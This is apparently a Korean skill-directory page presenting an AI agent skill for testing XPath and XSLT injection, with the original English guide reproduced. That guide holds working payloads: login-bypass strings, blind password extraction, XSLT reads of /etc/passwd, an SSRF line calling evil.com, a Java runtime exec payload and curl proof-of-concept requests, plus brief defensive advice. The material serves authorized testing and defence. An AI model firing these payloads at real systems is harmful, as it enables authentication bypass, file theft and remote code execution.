본문으로 건너뛰기
Skillpedia
보안6.5k · #14086

xpath-xslt

하는 일

이 가이드는 XML 질의와 변환 코드의 인젝션 결함을 다룹니다. 이 결함은 로그인을 우회하거나 파일을 읽을 수 있습니다. XML 데이터 저장소와 보고서 생성 도구를 다루는 개발자와 테스터를 위한 것입니다.

사용하는 경우

  • ✓앱이 사용자 입력으로 XML 질의를 만들고, 예를 들어 XML 파일 기반의 로그인 확인을 하는 경우.
  • ✓XML 보고서 도구가 사용자에게 변환 규칙을 받을 때.
  • ✓허가된 테스트에서 XML 처리가 외부 데이터를 읽는지 확인하려는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 기존 로그인은 XML 파일로 사용자를 확인합니다. 입력으로 그 질의를 조작할 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 입력이 XML 질의나 변환에 합쳐지는 지점을 찾고, 안전한 테스트 환경에서 특수 문자가 결과를 바꾸는지 테스트합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

XPath + XSLT Injection

XPath Injection

XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.

Auth bypass

# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"

# Payload
user = "' or '1'='1"  → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='"  → returns all users

Blind extraction

# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions

XSLT Injection

Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.

document() function — file read

<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/>  ← SSRF

EXSLT — RCE on some engines

<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>

<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>

Reflected XSS via XSLT

<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->

Detection

  • Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
  • Apps using XPath: legacy intranets, file-based config querying, XML feeds

PoC

# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
EOF

Severity

  • XPath auth bypass: Critical 9.8
  • XSLT file read: Critical 9.0
  • XSLT RCE: Critical 10.0
  • Blind XPath extraction: High 7-8

Defender

  • Use parameterized XPath via libraries (lxml.etree.XPath(expr) w/ variable bindings)
  • Disable XSLT extensions by default
  • Use XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE (libxslt)
  • Sanitize / strict-validate XML input schema

Cross-references

  • Upstream: skills/_corpus/payloads/XPATH Injection/ + XSLT Injection/
  • XXE (different XML class): skills/exploit/web/xxe.md
자주 묻는 질문

XPath란 무엇인가요?

XML 문서에서 데이터를 골라내는 질의 언어입니다.

XSLT가 XPath보다 위험한 이유는 무엇인가요?

가이드는 XSLT가 더 강력하고, 일부 엔진은 파일 읽기 같은 확장을 지원한다고 설명합니다.

가장 중요한 해결책은 무엇인가요?

원시 입력으로 질의를 만들지 않고, 안전한 파라미터 처리를 쓰는 것입니다.

상세 정보

작성자의 원본 설명

XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14086
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬